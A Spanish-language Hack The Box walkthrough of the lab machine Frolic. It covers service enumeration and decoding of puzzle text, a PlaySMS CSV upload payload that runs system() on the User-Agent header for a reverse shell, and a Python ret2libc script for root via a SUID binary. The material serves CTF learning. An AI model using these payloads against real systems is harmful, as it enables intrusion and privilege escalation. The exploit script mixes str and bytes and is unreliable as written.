Post

Frolic - Hack The Box

logo Esta máquina al inicio estuvo muy ctf, pero como siempre hay cosas que se aprenden no me quejo, el truco estaba en enumerar bien la web, es decir directorios y sub directorio he ir guardando credenciales que se encontraban por el camino, para la intrusión ,se hizo uso de un POC que encontramos con searchsploit que era especifico para PlaySMS . ver la primera flag no fué un proble, y por ultimo escalamos privilegios mediante un buffer overflow que fué del tipo red2libc.

Reconocimiento

Directorios de trabajo

1
2
3
mkdir frolic
cd frolic
mkdir nmap content exploit

nmap

1
sudo nmap -p- --open -sS --min-rate 5000 -Pn -n -sCV 10.10.10.111 -oN version-port

version-port

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Nmap scan report for 10.10.10.111
Host is up (0.17s latency).
Not shown: 65525 closed tcp ports (reset), 5 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 877b912a0f11b6571ecb9f77cf35e221 (RSA)
|   256 b79b06ddc25e284478411e677d1eb762 (ECDSA)
|_  256 21cf166d82a430c3c69cd738bab502b0 (ED25519)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open  http        Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open  http        nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1h49m07s, deviation: 3h10m30s, median: 51s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-11-19T02:07:28
|_  start_date: N/A
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: frolic
|   NetBIOS computer name: FROLIC\x00
|   Domain name: \x00
|   FQDN: frolic
|_  System time: 2023-11-19T07:37:29+05:30
  • 22: ssh
    • OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
    • no cuento con credenciales y la versión es vulnerable a ssh enumeration
    • me permite validar usuarios por este servicio
  • 139,445: samba
    • netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
    • netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
    • por este servicio , a veces puedo listar recursos compartidos del servidor
    • con o sin credenciales, eso depende de las configuraciones del mismo
  • 1880: http
    • Node.js (Express middleware)
    • es un entorno en tiempo de ejecución, basado en javascript
  • 9999: http
    • nginx 1.10.3 (Ubuntu)
    • es un servidor web/proxy inverso ligero de alto rendimiento

de momento le voy a prestar atención al servicio http, ya saben antes de ponernos a tumbar el servidor hagamos reconocimiento con whatweb y wappalyzer

servicio: samba

siempre que puedo, primero veo si puedo listar los recursos compartidos por el servicio samba, o smb, que puede parecer lo mismo pero uno es la evolucion del otro jejeje, en fin, voy a unas la herramienta crackmapexec, ya que nos permite listar o verificar cosas para diferentes protocolos.

crackmapexec

1
2
3
4
5
6
7
8
9
10
11
protocols:
  available protocols

  {ftp,ldap,mssql,rdp,smb,ssh,winrm}
    ftp                 own stuff using FTP
    ldap                own stuff using LDAP
    mssql               own stuff using MSSQL
    rdp                 own stuff using RDP
    smb                 own stuff using SMB
    ssh                 own stuff using SSH
    winrm               own stuff using WINRM

dependendiendo como tengan configurada la herramienta lo corren, en mi caso lo corro con poetry

1
2
3
poetry run crackmapexec smb 10.10.10.111

SMB         10.10.10.111    445    FROLIC           [*] Windows 6.1 (name:FROLIC) (domain:) (signing:False) (SMBv1:True)

jajaja tiene sus problemitas la herramienta ya que casi siempre me dice que es una máquina windows, y ya sabemos que es una linux, pero bueno esto es para darnos una idea, ya que veo el nombre de la maquina y si el smb está firmado etc

ahora procedo a usar otras herramientas para listar el servicio smb, las herramientas son smbclient y smbmap

smbclient

1
2
3
4
5
6
7
smbclient -L 10.10.10.111 -N

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (frolic server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
  • -L list=Host nos permite listar los recursos
  • -N –no-pass no nos pide credenciales

el smbclient no me permite ver para permisos para cada uno de esos recursos, para eso está la otra herrmienta smbmap

smbmap

1
2
3
4
5
6
7
smbmap -H 10.10.10.111

[+] Guest session       IP: 10.10.10.111:445    Name: 10.10.10.111                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        IPC$                                                    NO ACCESS       IPC Service (frolic server (Samba, Ubuntu))

listo, no tenemos permisos de ver ninguno de los recursos, es hora de enumera otro servicio

servicio: http

puerto 1880,9999

lancemos el whatweb para darnos una idea de que nos espera en el navegador

whatweb

Listo ahora veamos cómo luce la página desde firefox

firefox

puerto 9999

puerto 1880

vale tenemos que suponer que los tiros van por la web, ya que no queda otro servicio jugoso, entonces pongámonos a hacer fuerza bruta y probar qué rutas están activas y cuáles no, con herramientas como

  • wfuzz
  • gobuster
  • dirsearch

entre otras que no recuerdo en este momento, pero sirven para lo mismo con sus variaciones, en mi caso uso gobuster

gobuster

puerto 1880

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
gobuster dir -u http://10.10.10.111:1880 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

===============================================================                                                                
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=============================================================== 
[+] Url:                     http://10.10.10.111:1880
[+] Method:                  GET
[+] Threads:                 50 
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
=============================================================== 
2023/11/18 23:13:03 Starting gobuster in directory enumeration mode
=============================================================== 
/icons                (Status: 401) [Size: 12]
/red                  (Status: 301) [Size: 173] [--> /red/]
/vendor               (Status: 301) [Size: 179] [--> /vendor/]
/settings             (Status: 401) [Size: 12]                
/Icons                (Status: 401) [Size: 12]

puerto 9999

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
gobuster dir -u http://10.10.10.111:9999 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
           
===============================================================                                                                
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=============================================================== 
[+] Url:                     http://10.10.10.111:9999
[+] Method:                  GET
[+] Threads:                 50 
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
=============================================================== 
2023/11/18 23:15:33 Starting gobuster in directory enumeration mode
=============================================================== 
/admin                (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/admin/]
/test                 (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/test/] 
/dev                  (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/dev/]  
/backup               (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/backup/]
/loop                 (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/loop/]

vale, despues de probar cada una de ellas la que me llamó la atensión fué /admin del puerto 9999, de momento ya si luego me quedo corto sigo buncando en sub directorios y así

y que hago aquí? jejeje no sé puedo buscar credenciales por defecto, ver el código fuente. las credenciales por defecto no funcionaron , y las que busqué por internet tampoco, veamos el código fuente aver que hay

me dirijo a ese script y lo que veo es algo muy ctf

credenciales siuuuuuuuu, las voy a usar en el mismo panel login, oh sorpresa funcionaron :v

y me lleva a un texto muy extraño

esta parte va estar relacionada a algo llamado lenguaje de programación esotérico o exótico, solo vamos a tener que identificar a cual de ellos corresponde y listo, y si son muchos, que hasta de bromas lo crean según lo que leí. aquí podemos encontrar algunos de ellos y el que nos interesa para este caso.

vamos a dar con

  • Ook!
    • es una parodia de Brainfuck, el lenguaje está diseñado para orangutanes.

y sí, el único parecido que tienen es .!?, pero ya es algo. lo que tenemos que hacer es buscar el decodificador para un Ook!, y ver si estamos con suerte

listo , dimos con una ruta, que por ahora no sabemos para que es

no lleva a este sitio, con este contenido, que de momento quiero pensar que es base64, entonces me lo copio he intento decodificarlo en local.

y eso me lo guardo en un archivo que por ahora lo voy a llamar algo, ya que no tengo ni idea que es

pero pude dar con algo, parece ser un .zip , le cambio el nombre y ahora intento descomprimirlo. pero antes de descomprimir a lo loco veo que tiene dentro

vale tiene un solo archivo

pero está protegido por contraseña, como que es hora de usar john the ripper, para ello debo generar un hash que john the ripper pueda entender, y tenemos zip2john.

1
zip2john algo.zip > hash

con este hash que creamos potedemos intentar romperlo y dar con la contraseña que proteje el .zip

listo la contraseña es password jajajaj que se encuentra en la liena 4 del rockyou como ya sabiamos que dentro teniamos un index.php, ahora lo leemos y vemos lo siguiente.

esto tiene pinta de ser hexadecimal, algode este estilo

pero en este caso necesito hacer el proceso inverso para leer el contenido

ahora parece tener un base 64, y tengo que decodificarlo, voy a copiar el contenido y lo pongo en un archivo aparte que a veces pone problema a la hora de hacele un base64 -d

este tambien es un lenguaje de programación esotérico y se trada de

  • Brainfuck
    • su objetivo es hacer un lenguaje que fuera a la vez muy simple, Turing completo y que requiriese un compilador pequeño

tambien lo llevo a

y damos con una contraseña, que ni idea para que sirve, así que a segui enumerando. después de buscar un rato y no encontrar nada, y probar credenciales en otros páneles login, decido bucar directorios o archivos dentro de otros directorios, ya que en la mayoría me dice 403 Forbidden , eso significa que no puedo ver el contenido de ese directorio, pero si logro dar con un nombre válido dentro de ese directorio, verlo

intenté en la ruta http://10.10.10.111:9999/backup y veo más credenciales en

  • http://10.10.10.111:9999/backup/user.txt
  • http://10.10.10.111:9999/backup/password.txt

que no pude utilizar en ningun lado, entonces sigo buscando como digo en sub directorios

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gobuster dir -u http://10.10.10.111:9999/dev -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.111:9999/dev
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/11/19 00:36:08 Starting gobuster in directory enumeration mode
===============================================================
/test                 (Status: 200) [Size: 5]
/backup               (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/dev/backup/]

solo pude encontrar algo en el puerto 9999 y el directorio /dev, llama la atención el /backup

y eso me lleva a el siguiente panel login

hemos estado consiguiendo credenciales por varias rutas

de todas las credenciales que tenía pude acceder con

  • admin:idkwhatispass

y listo a buscar vulnerabilidades

con searchsploit pude dar con algo relacionado a playSMS

y nos quedamos con 'import.php' Remote Code Execution, echemos un vistaso que nos dice la Poc

en resumen , vamos a poder cargar un archivo .csv que nos permite inyectar código a través del campo User-Agent. creamos el archivo con la extensió y modificamos algo, que la sintaxis no está correctamente, eso lo ponemos ver en el mismo archivo Poc

1
2
Name,Mobile,Email,Group code,Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>,22,,,

ahora solo queda subir el archivo, interceptar el tráfico y modificar el User-Agent, es lo que nos va permitir ejecutar comandos

y estando en escucha por el puerto que le pasamos

intrusión

obtenemos la reverse shell

ahora queda hacer el tratamiento de la tty para esta más cómodos. tenemos que convertir esto a una consola completamente interactiva

  • script /dev/null -c bash
  • ctrl + z
  • stty raw -echo;fg
  • reset xterm
  • export TERM=xterm
  • export SHELL=bash
  • stty rows 27 columns 127
    • esto solo aplica para las dimensiones de mi pantalla

flag usuario ayush

listo el directorio /home para hacerme una idea de los usuarios en el sistema, y si no me llena el alma, reviso el /etc/passwd

1
2
3
4
5
6
www-data@frolic:~/html/playsms$ ls -la /home/
total 16
drwxr-xr-x  4 root  root  4096 Sep  9  2022 .
drwxr-xr-x 22 root  root  4096 Sep  9  2022 ..
drwxr-xr-x  3 ayush ayush 4096 Sep  9  2022 ayush
drwxr-xr-x  7 sahay sahay 4096 Sep  9  2022 sahay

veo que tengo acceso a todo los directorios, y revisando el primero ayush doy con la primera flag, ya que también tengo permiso de lectura

1
2
3
4
5
6
7
8
9
10
www-data@frolic:~/html/playsms$ ls -la /home/ayush/
total 28
drwxr-xr-x 3 ayush ayush 4096 Sep  9  2022 .
drwxr-xr-x 4 root  root  4096 Sep  9  2022 ..
lrwxrwxrwx 1 root  root     9 Sep  9  2022 .bash_history -> /dev/null
-rw-r--r-- 1 ayush ayush  220 Sep 23  2018 .bash_logout
-rw-r--r-- 1 ayush ayush 3771 Sep 23  2018 .bashrc
drwxrwxr-x 2 ayush ayush 4096 Sep  9  2022 .binary
-rw-r--r-- 1 ayush ayush  655 Sep 23  2018 .profile
-rwxr-xr-x 1 ayush ayush   33 Nov 23 08:47 user.txt
1
2
3
4
5
www-data@frolic:~/html/playsms$ cd /home/ayush
www-data@frolic:/home/ayush$
www-data@frolic:/home/ayush$ cat user.txt 
5e253911729f9a94106134db2378ecf0

Escalada de privilegios

despues de ver que otros usuarios habia en el sistema con el archivo /etc/passwd no veo nada interesante tambien revisé puestos a ver si habia algo que me llamara la atensión y nada

buscando binarios SUID algo en el directorio personal de ayush me ve con ojos de ven a mi :v

bueno en realidad dos cosas jejeje el pkexec y el /home/ayush/.binary/rop, por ahora no voy a tocar el pkexec ya que si es vulnerable , esa no es la ruta adecuada de explotar la máquina, o la forma intensionada por decirlo así.

1
2
3
4
5
www-data@frolic:/home/ayush/.binary$ ls -la
total 16
drwxrwxr-x 2 ayush ayush 4096 Sep  9  2022 .
drwxr-xr-x 3 ayush ayush 4096 Sep  9  2022 ..
-rwsr-xr-x 1 root  root  7480 Sep 25  2018 rop

es un binario SUID y el propietario es root es decir si de alguna manera logro tomar control de lo que sea que haga este binario y ejecuto comando, va ser como el usuario propietario que es root

primer intento con la ejecución del binario

1
2
www-data@frolic:/home/ayush/.binary$ ./rop 
[*] Usage: program <message>

me pide que le pase un mensaje

1
2
www-data@frolic:/home/ayush/.binary$ ./rop holaaa
[+] Message sent: holaaa

jejejeje nada asombroso, bien, veamos si tiene que ver con un buffer overflow, solo le voy a pasar un montón de AAA a ver como reacciona el programa, y si se logra romper

esto es una buena señal para mi como atacante , ya que es posible que sea un buffer overflow. lo primero que voy a hacer es pasar el binario a mi máquina para hacer pruebas, y si es posible hacer un script

buffer overflow

en resumen un buffer overflow tiene que ver con sobrescribir instrucciones en los registros, es decir cuando creas un binario sea de 32 o 64 bits, y a la hora de escribir el codigo no se tenga en cuenta alguno de los siguientes temas

  • definir bien las variables
  • evitar usar funciones vulnerables
  • y a la hora de conpilar hacerlo de la manera adecuada, con ciertas protecciones

alguien mal intensionado puede tomar control de ese binario en cuestión

básicamente le permite a un atacante tener acceso a diferentes registros, es decir direcciones en memoria donde se guarda información del binario o llegar a saber como es el flujo del programa, y otra gran cantidad de información

podemos alterar el funcionamiento para que ese binario haga lo que nosotros querramos.

en este caso validemos de que tipo de buffer overflow es, ya que hay una variedad de ellos

una vez me pase el binario a mi máquina uso la herramienta gef gdb es una variante de gdb pero con colores, me permite ver propiedades del binario a bajo nivel, si no estoy mal es en ensamblador, esta herramienta también me deja ver las protecciones con los que cuenta el binario, eso se define cuando se compila el binario que deseamos analizar

1
2
www-data@frolic:/dev/shm$ file /home/ayush/.binary/rop 
setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=59da91c100d138c662b77627b65efbbc9f797394, not stripped

puedo notar que el binario es de 32-bit , no es mucho pero eso ya acota la dificultad del ataque

en local con gef gdb veo los permisos del binario, y también los registro, y eso lo logro haciendo que el programa se rompa, pero corriendo con el gdb

y vemos esto

como dije, estamos sobre escribiendo valores en los registros por poner muchos valores a la entrada del binario ejecutable, la idea es insertar instrucciones que hagan algo a mi beneficio, entonces tenemos que ver como y donde poner esas instrucciones

  • esp
    • la pila, es información de algunas variables que corren en el binario
  • ebp
    • este es un registro antes de sobre escribir el eip
  • eip
    • registro que apunta a la siguiente dirección siguiendo el flujo del programa

ahora vemos las protecciones del binario

  • NX
    • non-executable
    • que esto esté habilitado ya me restringe ciertas acciones
    • no puedo poner instrucciones en los demas registros para ejecutarlos

normalmente ponemos codigo malicioso en la pila o sea en esp pero con esta proteccion no se van a ejecutar

hay otro concepto y es el red2libc este no ejecuta instrucciones en los registros pero si hace una llamada a nivel de sistema, como es de 32-bit el ret2libc es tan cómodo como hacer una llamada a las siguientes direcciones

ret2lib

  • system
  • exit
  • sh

como hacemos eso? desde la máquina victima hacemos lo siguiente

1
2
3
4
ldd /home/ayush/.binary/rop 
        linux-gate.so.1 =>  (0xb7fda000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
       /lib/ld-linux.so.2 (0xb7fdb000)

esto nos muestra la libreria que usa para ejecutar el binario, y es la que necesitamos para encontrar las otras direcciones, pero antes de buscar las otras direcciones quiero ver si esta dirección en memoria es aleatoria o es fija, y eso debende del valor de un archivo en la máquina víctima

como el valor es 0 las direcciones no van a cambiar, listo sigamos

1
2
3
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E " system| exit"
       141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
       1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

y la de /bin/sh

1
2
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
       15ba0b /bin/sh

listo, tenemos todo lo necesario

las direcciones que encontramos tenemos que ponerla en little-endian es decir el orden invertido, como vamos a hacer un script en python y usar una librería que haga eso por nosotros, nos despreocupamos

dato importante cuando hagamos el

system + exit + sh

en realidad tiene que ser

libc_addr + system + libc_addr + exit + libc_addr + sh

siempre es la dirección de la libreria sumado de la dirección que queremos, nos falta algo importante y es cuantos caracteres basura debo poner antes de sobre escribir el registro que me interesa es el eip que es el que apunta a la siguiente instrucción a ejecutar, y donde vamos a poner todas esas direcciones que acabamos de averiguar.

eso lo hacemo con gdb

generamos caracteres con la herramienta

ejecutamos el programa pasando esto caracteres

le preguntamos al programa cuantos caracteres son antes del eip

y el programa nos dice cuanto caracteres debo poner antes de sobre escribir el eip y listo, tenemos todo lo necesario para empezar a hacer el script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python3

from struct import pack

offset = 52
jump = "A" * offset

# ldd /home/ayush/.binary/rop 
#        linux-gate.so.1 =>  (0xb7fda000)
#        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
#		/lib/ld-linux.so.2 (0xb7fdb000)

libc_addr = 0xb7e19000

# readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E " system| exit"
#		141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
#		1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

# strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
#		15ba0b /bin/sh

system_addr = pack("<I", libc_addr + 0x0003ada0) # agregar el 0x
exit_addr = pack("<I", libc_addr + 0x0002e9d0)   # agregar el 0x
sh_addr = pack("<I", libc_addr + 0x0015ba0b)     # agregar el 0x00

payload = jump + system_addr + exit_addr + sh_addr

print(payload)

solo queda ejecutar el binario y pasarle la cadena que genera nuestro script

y estamos dentro

flag como root

This post is licensed under CC BY 4.0 by the author.